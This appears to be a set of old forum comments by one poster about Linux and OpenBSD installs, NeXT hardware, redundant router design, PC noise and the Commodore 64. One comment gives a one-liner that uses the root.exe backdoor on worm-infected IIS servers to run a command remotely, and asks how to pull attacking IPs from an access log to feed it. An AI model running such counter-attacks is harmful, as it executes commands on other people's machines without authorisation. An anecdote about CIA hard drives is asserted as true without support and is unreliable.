To be honest, it does. It takes no time at all with a fast connection. I run an Linux desktop for the applications and games but OpenBSD for my firewall. After having installed many different versions of Linux (RedHat, SuSE, Slackware, etc) I would have to say that OpenBSD is the cleanest install. Cleanest = least clutter, fastest, direct and to the point. If anyone wants to try a BSD flavor I would suggest OpenBSD. Also I would really like it if Linux had something like the *BSD ports collection.
RedHat is the best out of the box. Easiest install and the best hardware support.
If you want to learn something more standard, IMNSHO, the I would go with Slackware. You can get the boot disk and then install it via FTP. You will have to read more docs to install Slackware. I started with Slackware years ago, then moved to RedHat 5, 6, & 7. I just moved back to Slackware because I wanted something that gave me a finer degree of control on how and what was installed. Also I got sick of trying to manage packages via RPM.
A few years ago there was a ton of NeXT stuff for sale on the net but every system was missing a HD. Seems that these systems came from the CIA. They sold the computers to a junk dealer, but removed the hard drives in order to insure that the data was nuked! The hard drives ended up going through a metal shreaded and got mix into the new asphalt that they were using to re-pave the parking lots at the CIA HQ. This is a true story.
On another note, I worked with someone at my last job that worked at NeXT (help design the motherboards). He told me that they used to take defective cubes and burn them at a big bonfire a few times a year. He had pictures. I will have to see if I can scan get 'em and scan 'em.
So if figured this out....maybe they will see it?
echo GET/scripts/root.exe?/c+copy+c:\winnt\clock.avi+c:\yo uhavecodered.txt | telnet %1 80
Seems like a good idea. So anyone help me get the IP's out of my access_log so I can feed 'em to the script. I am not to good with sed so..
Some command to grep the access_log for the.ida and then get the IP and put it in a test file?
grep -E \.ida/var/www/log/access_log
Then???
VLANs were a stupid idea to begin with. I wish they had never been invented.
Look. Get your own ASN and IP space. Get 2 cheap Cisco 72xx or Foundy BigIrons. Chuck the 6509. Get to BGP feeds from Exodus, one to each router (to different upsteam Exodus boxes). Set up VRRP (HSRI in Cisco) on the backend of the routers - so the default gateway for the back end stuff is x.x.x.1. (Front end are/30's to Exodus) Using the VRRP both routers will respond and be active. One fails no big deal. This is really the cleanest IP based way to do it. Hell I will do it for you for the right $$$. I can get it done in an 1/2 hour at the most (the cutover part!)
Just my (I have been doing this for 10 years) two cents...
Having 10 years at building co-lo's and internet backbones all I can say is..
Who every design your setup should be shot. A single router going down should not bring everything down. It is a flawed design - Period.
Try this:
2 uplinks (different providers) to 2 routers (BGP with own ASN and IP space) using VRRP (HSRP in the Cisco world) to 2 switches to many webservers. This is damn simple people. Use remote managed powersupplies (APC) and a console server with a dial-in to it (Cisco 2511RJ or hey how about a linux box with an async card!?!). Worse case if one of the routers gets in some way that it can not be failed via VRRP then you can just remote power it off!! This is not even that costly!! If it was a software change issue - try change control...
Just my 2 cents...

Ah. I don't know about your taste but the women that plays Andromeda is very hot...
My Dual G4 does not make a sound. Which one do you have? Mine is only 2 months old. I have 5 computers in this room and if I turn them all off but the G4 the room is nice and noiseless.
As for the PC...(When you are running Windows no one can hear you scream...)
Get a bigger case. I moved my PC from a small case to a big one in order some more room. I changed the fans on the CPU out along with the case fan. I added some foam around the drive cage (but do not block the air flow). In the end the system is about 50% less noisy then before!
The cost of the case and the fans was about $130 total! The bigger case seems to help dampen the noise.
He is right. If you have a mixed network and want single user/shares management then NDS is the way to go. I love open source but that does not mean that there is not a good paid for choice too.
Novell is good software. And as far as file/print sharing they are still the fastest bang for the hardware out there...
There should be a class in college for the CS major where you have to spend a semester in a room coding on a Commodore 64. Maybe it would help with some of the bloatware we have now...
None of these kids know how to code anymore...

If it is not brown (tan) then it is a 64C. Same computer with some bug fixes and an updated case.
